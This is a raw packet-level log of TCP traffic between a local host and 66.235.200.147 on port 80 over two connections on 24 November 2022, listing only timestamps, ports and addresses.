Nov 24, 2022 13:27:50.414216042 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414232969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414247990 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414266109 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414285898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414300919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414310932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414335012 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414352894 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414366961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414381981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414400101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414413929 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414432049 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414443970 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414464951 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414478064 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414499998 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414522886 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414531946 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414565086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414597034 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414659023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414690971 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414710045 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414722919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414755106 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414787054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414807081 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414819002 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414851904 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414859056 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414884090 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414902925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414936066 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.414952993 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.414967060 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.415008068 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.415019989 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.415040016 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.415082932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.415915012 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.415988922 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.432132959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432204008 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432282925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432298899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.432373047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432435989 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.432440042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432506084 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432547092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432569981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.432607889 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432672977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432678938 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.432739973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432795048 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.432801008 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432872057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.432929993 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.432987928 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433037043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433095932 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433103085 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433137894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433196068 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433197021 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433238983 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433321953 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433325052 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433363914 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433404922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433432102 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433446884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433489084 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433510065 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433531046 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433572054 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433594942 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433613062 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433654070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433686972 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433696985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433741093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433763981 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433789015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433835030 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433849096 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433876038 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433917999 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433938980 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.433959961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.433998108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.434020042 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.478262901 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.466960907 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.484574080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.484699965 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.565434933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.582262993 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.582370043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.582720041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.599669933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648025990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648070097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648097992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648123980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648149967 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648158073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.648176908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648204088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648209095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.648230076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648248911 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.648256063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648281097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648284912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.648312092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648333073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.648336887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648550987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.648725986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648756027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648782969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648809910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.648839951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.648880959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.649530888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.649561882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.649585962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.649614096 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.649971008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.650003910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.650023937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.650043011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.650121927 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.650815010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.650856018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.650892973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.650902987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.650935888 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.650954008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.651907921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.651947975 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.651978970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.651995897 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.654548883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.665313959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.665357113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.665407896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.665436983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.665518045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.665592909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.665623903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.665631056 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.665652990 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.665679932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.665687084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.665725946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.666445971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.666484118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.666512966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.666538000 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.666572094 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.666610003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.667228937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.667258024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.667288065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.667314053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.667332888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.667366028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.668015957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.668046951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.668075085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.668103933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.668107986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.668168068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.668803930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.668836117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.668909073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.669182062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.669212103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.669239998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.669266939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.669275045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.669320107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.670002937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.670033932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.670061111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.670088053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.670090914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.670137882 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.670809031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.670835972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.670861006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.670895100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.670907974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.670979023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.671618938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.671649933 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.671678066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.671704054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.671746969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.671789885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:52.672415972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.672449112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:52.672527075 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.001380920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.019234896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044025898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044049025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044068098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044083118 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044105053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044250011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.044250011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.044435978 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044461966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044488907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044518948 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044557095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.044567108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.044567108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.045334101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.045362949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.045388937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.045416117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.045417070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.045443058 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.045444965 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.045481920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.046242952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.046271086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.046298027 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.046324968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.046344042 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.046351910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.046372890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.046555996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.047121048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.047147036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.047173977 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.047199965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.047221899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.047224998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.047293901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.048047066 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.048073053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.048099041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.048124075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.048152924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.048171043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.048192024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.048224926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.048903942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.048930883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.048958063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.048994064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.049000025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.049020052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.049051046 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.049828053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.049854994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.049880981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.049906969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.049932957 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.049937010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.049937010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.049985886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.050760031 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.050785065 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.050803900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.050828934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.050853968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.050967932 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.051172972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.051589012 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.051616907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.051642895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.051671028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.051697969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.051711082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.051711082 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.051758051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.061096907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061122894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061146021 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061170101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061202049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.061321020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.061465025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061491966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061515093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061538935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061562061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.061564922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.061589956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.062374115 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.062403917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.062426090 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.062470913 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.062519073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.062556028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.062581062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.062643051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.063265085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.063293934 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.063317060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.063340902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.063364029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.063380957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.063505888 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.064302921 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.064321041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.064352036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.064397097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.064415932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.064435005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.064483881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.064527035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.064538956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.065063000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.065195084 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.065217018 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.065234900 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.065254927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.065274954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.065306902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.065351963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.066802979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.066862106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.066895008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.066915989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.066935062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.066945076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.066979885 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.067076921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.067178965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.067199945 CET	80	49702	66.235.200.147	192.168.2.4
